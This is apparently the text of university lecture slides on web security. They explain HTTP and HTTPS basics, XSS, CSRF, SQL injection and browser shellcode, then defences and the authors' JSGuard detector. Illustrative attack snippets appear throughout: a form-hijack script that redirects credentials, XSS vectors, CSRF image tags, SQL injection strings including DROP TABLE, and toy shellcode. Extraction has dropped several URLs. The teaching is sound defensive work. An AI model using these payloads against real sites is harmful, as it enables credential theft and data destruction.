Web Security -Reading Material

Web Security -Reading Material
Adam C. Champion and Dong Xuan CSE 4471: Information Security Based on material from Emmanuel Beloist (Bern U. of Applied Sciences) and Michal Zalewski (Google)

Outline Introduction Threats and Attacks Defense Measures
Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Code Injection Defense Measures

Introduction Average user spends 16 h/month online (32 h/month in U.S.) [1] People spend much time interacting with Web, Web applications (apps) Their (lack of) security has major impact Interaction via Web browser We’ll first review some Web basics ⋯ ⋯ Source: [2], [3]

Web Browser Workflow Source: [4]

HyperText Transfer Protocol (HTTP)
Browsers use HTTP to fetch Web content Request/response based protocol Stateless HTTP requests: [4] For a webpage, script, image, file, etc. Usually expose info about client, browser [5] HTTP response: [4] A file (HTML, image, etc.) Can redirect to another webpage

Uniform Resource Locator (URL)
Identifies Web content on the Internet ([6], Fig. 2-1) Scheme: ftp, http, https, file, etc. Login/password: self-explanatory Address: Server IP address/hostname, e.g., cse.osu.edu Port: 80 (HTTP), 443 (HTTPS), 25 (mail), etc. Path to resource: *nix filesystem path to content on server, e.g., index.html (by default) Query string: string of (name, value) separated by & name1=value1&…&nameN=valueN Characters encoded as %XX (XX is character’s hex ASCII value) Fragment: points to named HTML <a> element on page

Example HTTP Request, Response (1)
GET / HTTP/1.1 Host: cse.osu.edu Connection: keep-alive Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/ Safari/537.1 Accept: text/html,app/xhtml+xml,app/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO ,utf-8;q=0.7,*;q=0.3 HTTP/ OK Date: Sun, 02 Sep :59:14 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.1.6 Connection: close Transfer-Encoding: chunked Content-Type: text/html

Typed into browser address bar → GET request Request headers: [4] User-Agent: Browser, OS description Accept: accepted document types Accept-*: self-explanatory Other headers can include: Keep-Alive: set connection timeout Referer: what page has link that created request

Server response: contains status line, requested document (type), etc. Status Line: HTTP-Version Status-Code Reason-Phrase [4] HTTP-Version: self-explanatory Status-Code: 3-digit integer result code Reason-Phrase: short textual description of code E.g.: 200 OK, 403 Forbidden, 404 Not Found Code types: 1xx (informational), 2xx (success), 3xx (redirection), 4xx (client error), 5xx (server error) [7] Content-Encoding: content sent in “chunks” [4] Content transport size must be known a priori Else, server buffers content, transports chunks

Rendered webpage ( has structure: <!DOCTYPE ... > <html lang="en-US"> <head> ... </head> <body> <div id="container"> <div id="top"> ... </div> <div id="leftnav"> ... </div> <div id="rightContent"> ... </div> <div id='main'> ... </div> <div id="osufooter"> ... </div> <div id="footer"> ... </div> </div> </body> </html>

HTML tree structure (Document Object Model (DOM)) JavaScript (JS) manipulates DOM via document.* methods: [9] var cdiv = document.getElementById(“container”); var firstnode = cdiv.firstChild; var newp = document.createElement(“p”); var newtxt = document.createTextNode(“Hi”); newp.appendChild(newtxt); topdiv.appendChild(newp); cdiv.remove(firstnode);

Other HTTP Requests GET: content requested from server is visible to snoops (address bar) POST: content requested from server not visible to snoops (address bar) XMLHTTPRequest: Web content request without reloading webpage Underpins dynamic Web apps (AJAX) Content may actually be sent using JavaScript Object Notation (JSON), not necessarily XML

Example POST Request Logging into CSE Database Portal: <form method="post" action="/cgi-bin/portal/portal_authenticator.cgi" enctype="multipart/form-data"> <p><label>Username:</label> <input type="text" name="username"…><br> <label>Password:</label> <input type="password" name="password"…></p> <input type="submit" name="login" value="Login"></form> What would happen if this was a GET request?

Basics – HTTPS All HTTP content sent via plaintext [8]
Anyone can read, manipulate HTTP messages No guarantee: message confidentiality, integrity, authenticity HTTPS uses cryptography with HTTP [8] Alice, Bob have public, private keys; public keys accessible via certificate authority (CA) Alice encrypts message with Bob’s public key, signs message with her private key Bob decrypts message with his private key, verifies message using Alice’s public key Once they “know” each other, they can communicate via symmetric crypto keys Intuitively, provides greater assurance than HTTP

Basics – TLS, SSL HTTPS uses Secure Sockets Layer (SSL), Transport Layer Security (TLS) for secure data transport [8] Data transmitted via client-server “tunnel” Much harder to compromise than HTTP Problems: [8] Relies on CA infrastructure integrity Users can make mistakes (blindly click “OK”) Source: [8]

Basics – Browser Security
Web browser stores info, e.g., cookies, user credentials, etc. Same origin policy (SOP): only code running on “the same” website as other code can access latter’s methods/properties [11] Origin determined by app protocol, domain name, and port # SOP critical to browser security URL Outcome Reason Success Same protocol and host Failure Different port Different protocol Different host Origin comparison to Source: [11]

XSS Overview If websites allow users to input content without controls, they can write malicious code [9] Usually carried out via JavaScript (JS) Code can modify DOM, send private info to 3rd parties Types of XSS: [10] Non-persistent Persistent DOM injection

Non-Persistent XSS Suppose webpage echoes user-supplied data to user, e.g., echo $_REQUEST[‘userinput’]; (PHP; [9]) If user types <script type=”text/javascript”>alert(“Hello World”); </script>, alert appears in browser But if a 3rd party supplies URL to victim (including GET parameters), victim gets “modified” page with valid SSL cert!

Persistent XSS and DOM Injection
Persistent XSS: “hostile” data taken, stored in file, database, other Web backend system [9] Data served to any website visitor Major risk for content management systems (CMSs), forums, blogs, etc. frequented by many users DOM injection: We’ve seen how JS can manipulate HTML document Attackers can create, remove, change DOM tree nodes at will E.g.: document.getElementById(... ).onclick = evilFunction

XSS Example (1) In practice, attackers combine these XSS types [9]
Example: We have a form [9] <form action=”login.php” method=”POST” id=”login−form”> Username <input type=”text” name=”username”>, Password <input type=”password” name=”password”></form> Attacker injects JS: [9] document.getElementById(“login−form”).action=”spy.php”; , where spy.php is: $username = $_REQUEST[’username’]; $password = $_REQUEST[’password’]; $newURL = ” $newURL .= ”?username=$username&password=$password” header(”location: $newURL”);

XSS Example (2) Attackers can inject JS for XSS several ways: [9]
<script type=“text/javascript”></script> <script src=“ha.ckers.org/xss.js”></script> Adding onclick, onmouseover, other event handlers to DOM objects, e.g., divs and spans <a> or <img> elements whose href=“javascript:alert(‘XSS’);” <body onload=“alert(‘XSS’);”> Other tricks…

CSRF Overview Not a “new” attack, but very damaging [12]
CSRF forces victim’s browser to send a certain request to a vulnerable website, which performs task on victim’s behalf [12] Instance of confused deputy problem [13] A website visited by a user’s browser trusts the browser to perform tasks authorized by the user [13–14] But the browser cannot distinguish between client’s authority and another site’s authority to perform tasks [13] One CSRF attack stole info from 18 million auction customers in 2008 [15]

CSRF Example One attack vector: browser loads an image when it sees HTML: <img src=“ /> Suppose an attacker creates an HTML “image” <img src=“ What will the browser do if it loads this? What about <img src=“ ? CSRF + XSS is a deadly combination!

More About CSRF CSRF impacts any Web apps that [12]
Lack authorization checks for vulnerable actions Process actions if default logins can be given in URL query string Authorizes requests based only on automatically submitted credentials, e.g., session cookies, “Remember Me” checkbox, basic authentication Other attack vectors include JS malware on sites, malicious JS advertisements, social engineering, etc.

Hacking Routers Using CSRF
Jeremiah Grossman discovered how to hack users’ DSL routers without their knowledge [12, 16] Use router’s default password in attack, e.g., <img Then attacker manipulates the router as desired E.g., change DNS to attacker-controlled server, <img src=” /> CSRF lets attacker control organization’s Intranet, bypassing firewalls [12] Attacker can map network, scan ports using JS Capture unique files, error messages, etc. for each IP address, determine software, servers running on network Change network password, access all Web-enabled devices on network

Code Injection Our focus:
We’ve seen how JS code can be injected into webpage Code injection not limited to JS: SQL injection, XML injection, etc. Main idea: attacker tricks a language interpreter into executing unexpected command [17] Attacker can control interpreter, e.g., SQL Attacker can execute any command on an OS interpreter Our focus: SQL injection Malicious shellcode

SQL Injection (1) Common vulnerability (~71 attacks/hour [18])
Exploits Web apps that [17, 19] Poorly validate user input for SQL string literal escape characters, e.g., ' Do not have strongly typed user input Example – escape characters: [19] "SELECT * FROM users WHERE name = '" + userName + "';" If userName is set to ' or '1'='1, the resulting SQL is SELECT * FROM users WHERE name = '' OR '1'='1'; This evaluates to SELECT * FROM users ⇒ displays all users

SQL Injection (2) Example – no strong typing: [19]
statement := "SELECT * FROM userinfo WHERE id = " + a_variable + ";" If programmer doesn’t check a_variable is a number, attacker can set a_variable = 1; DROP TABLE users SQL evaluates to SELECT * FROM userinfo WHERE id=1;DROP TABLE users; users table is deleted

Malicious Shellcode Shellcode is non-self-contained binary executable code Distinct from malware that executes on its own Shellcode can only execute after injection into a running process’s virtual address space Most shellcode written in Intel IA-32 assembly language (x86) When injected into JS code, shellcode executes Hijacks browser process Can totally control target process or system Shellcode: attack vector for malicious code execution on target systems (e.g., Conficker worm) Usually, browser downloads JS code containing shellcode JS code executes, controls target process/system

A Toy Shellcode Shellcode for exit() system call
mov ebx, 0 mov eax, 1 int 0x80 Shellcode for exit() system call Store 0 into register ebx Store 1 into register eax Execute instruction int 0x80 Assembled shellcode injected into JS code Shellcode assembly bb b cd 80 Binary payload injection JS code ...3caabb b cd80ad46... more JS code Disguised as normal data; injected into target processes’ address spaces; compromises target processes’ security

Tricks Shellcodes Play (1)
Real-world malicious shellcodes more complex (self-modifying) eaddr=0x08 used to decrypt payload in 0x0014–0x0093 Instruction ➊ changes Mem[0x0012] to loop that decrypts payload Instruction ➋ decrypts one byte per iteration Each loop 0xe decrements ecx; loop terminates when ecx = 0 Source: [20]

Tricks Shellcodes Play (2)
Heap spray: dynamically allocate large objects so to predict their memory locations Shellcodes partitioned, control flow directed among them Saddr=0x ; Mem[Saddr-16] has args. to open root shell OffsetN: difference from end of sub-shellcodeN, start of sub-shellcode(N+1) Source: [20]

Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) Code Injection Defense Measures XSS CSRF

Defending Against XSS (1)
Input validation [9] Validate length, type, syntax, etc. Reject invalid, hostile input data “Accept known good” data Output encoding [9] Entity-encode all user data before rendering HTML, XML, etc. E.g., <script> encoded as <script> Specify character encoding for each rendered page, e.g., ISO , Unicode

Language-specific output encoding [9]: Java Use Struts or JSF output validation and output mechanisms Or use the JSTL escapeXML="true" attribute in <c:out...> Do not use <%= %> .NET: use the Microsoft Anti-XSS Library

PHP: pass output via htmlentities(), htmlspecialchars() Can also use OWASP ESAPI library Content first validated, canonicalize()d in order to be stored Output encoded with encodeForHTML(), etc. Sources: [9], [21]

Defending Against CSRF (1)
Web app needs to use random “token” that browser cannot remember [12] Insert into each form/URL, e.g., <form action=”/transfer.do” method=”POST”><input type=”hidden” name=”383838” value=” ”>… </form> Then verify the token Finer-grained tokens provide higher security, but more complicated Web app Ensure Web app has no XSS vulnerabilities; else, game over! [12]

For sensitive data, e.g., bank accounts, re-authenticate user or sign the transaction [12] Verify transaction is genuine Notify user of request via , phone, etc. For such data, avoid GET requests; use only POST requests URL can include a random token, but it has to be verified Random tokens are absolutely necessary

OWASP: handle authentication, identity [12], [21] Sources: [12], [21]

Defending Against Code Injection (1)
Avoid interpreter (SQL, JS, …) if possible [17] Use “safe APIs” with: [17, 19] Strongly typed parameterized queries (prepared statements): Each parameter stores certain type of data, param type checking at runtime User data validation: length, syntax, business logic, etc. Object-relational mapping (ORM): generates parameterized SQL from object-oriented code [17] Use stored procedures to process data [17] Avoid dynamic query interfaces, e.g., mysql_query() [17] Escape ', " and user input, e.g., magic quotes, mysql_real_escape_string() Principle of least privilege: database account [17]

Defending Against Code Injection (2)
Example prepared statement (Java): [19] java.sql.PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE USERNAME = ? AND ROOM = ?"); stmt.setString(1, username); stmt.setInt(2, roomNumber); stmt.executeQuery(); With prepared statements, can’t inject “raw” SQL! Language support: Java, PHP, Perl, etc. Research: examine SQL parse tree, parsing discrepancies reveal injection attempts [22]

Defending Against Shellcode
Two main detection approaches: Content Analysis Checks objects’ contents before using them Decodes the content into instruction sequences Checks if an instruction sequence is malicious Hijack Prevention Focuses on preventing shellcode from being fully executed Randomly inserts special bytes into objects’ contents Raises an exception if they are executed However, it can be thwarted using several short shellcodes connected by jmp or other control flow redirection instructions Focus on content analysis (greater completeness)

Content Analysis Two major types of content analysis:
Static Analysis Uses signatures or code patterns to check if a decoded instruction is malicious Advantage: Fast Disadvantages: Incomplete; can be effectively thwarted by obfuscation techniques Dynamic Analysis Detects a malicious instruction sequence by emulating its execution Advantages: Resistant to obfuscation; more complete than static analysis Disadvantage: Slower Focus on dynamic analysis (greater completeness)

Dynamic Analysis (1) Most dynamic analysis approaches assume shellcodes are self-contained Analyses’ shellcode emulation: Inefficiently uses JS code execution environment information All memory reads/writes only go to emulated memory system Uses GetPC code in detection for faster detection GetPC code: instruction that retrieves absolute memory address dynamically Examples: call group instructions, fstenv instruction

Dynamic Analysis (2) Current dynamic analysis approaches can be fooled: Shellcode using JS code execution environment information Shellcode using target process virtual memory information Shellcode not using GetPC code Detecting all kinds of malicious shellcodes requires a better approach

Our Work: JSGuard (1) Our design rationale: [20]
Use dynamic analysis to detect malicious JS objects Create a virtual execution environment for detection Leveraging: (1) target processes’ virtual memory information; (2) target systems’ context information in detection NOT a whole-system emulator Facilitate multiple-level redundancy reduction Stack frames: check origins of JS code being interpreted Native methods: check if native methods to be called originate from JS interpreter or external components Objects’ properties Assume: JS interpreter’s (native) methods have no memory errors

Our Work: JSGuard (2) It’s hard to fool our method: [20]
Shellcode can use JS code execution environment information to fool other dynamic analysis approaches Our design leverages system’s context information Shellcode can use target process’s virtual memory information to fool other dynamic analysis approaches Our design uses target processes’ virtual memory information Shellcode can avoid GetPC code to fool other dynamic analysis approaches Our method does not rely on GetPC code for detection. We leverage real virtual memory content to decode instructions and emulate their execution

Our Work: JSGuard (3) JSGuard architecture shown in figure below [20]
We mainly check JSString objects for shellcode injection (hard to inject shellcode in other JS objects) Architecture runs in client-side application’s address space (Firefox browser) JSString objects input to malicious JSString detector, which scans for shellcode using shellcode analyzer Source: [20]

Our Work: JSGuard (4) Shellcode analyzer returns MALICIOUS if JSString contains malicious shellcode; BENIGN otherwise [20] JS interpretation halted if malicious shellcode found; otherwise, it continues Source: [20]

Our Work: JSGuard (5) Implemented on Debian GNU/Linux [20]
Evaluation: very few false negatives, false positives JSGuard system has moderate overhead compared with “stock” Firefox 4 Source: [20]

Questions and Comments?
Thank you!

References (1) Go-Gulf.com, “How People Spend Their Time Online,” 2012, P. Irish, Twitter, “Bootstrap,” E. Benoist, “HTTP – Hypertext Transfer Protocol,” 2012, slides/http/slidesHTTP.pdf Electronic Frontier Foundation, “Panopticlick,” M. Zalewski, The Tangled Web: A Guide to Securing Modern Web apps, No Starch Press, San Francisco, 2012. RFC 2616, E. Benoist, “HTTPS – Secure HTTP,” 2012, slidesHTTPS.pdf E. Benoist, “Cross Site Scripting – XSS,” 2012, crossSiteScripting/slidesXSS.pdf Wikipedia, “Cross-site scripting,” 2012, Wikipedia, “Same origin policy,” 2012,

References (2) E. Benoist, “Cross Site Request Forgery – CSRF,” 2012, csrf/slidesCSRF.pdf Wikipedia, “Confused deputy problem,” 2012, Confused_deputy_problem Wikipedia, “Cross-site Request Forgery,” 2012, Cross-site_request_forgery T. Wilson, “Hacker Steals Data on 18M Auction Customers in South Korea,” Dark Reading, 26 Feb. 2008, J. Grossman, “Hacking Intranet Sites from the Outside,” Black Hat, 2006, E. Benoist, “Injection Flows,” 2012, slidesInjectionFlows.pdf Imperva, “SQL Injection: By The Numbers,” 20 Sep. 2011, sql-injection-by-the-numbers.html Wikipedia, “SQL injection,” 2012, B. Gu, W. Zhang, X. Bai, A. C. Champion, F. Qin, and D. Xuan, “JSGuard: Shellcode Detection in JavaScript,” Proc. SECURECOMM, 2012. Open Web Application Security Project (OWASP),

References (3) G. T. Buehrer, B. W. Weide, and P. A. G. Sivilotti, “Using Parse Tree Validation to Prevent SQL Injection Attacks,” Proc. FSE/ESEC Int’l. Workshop on Software Engineering and Middleware, 2005.

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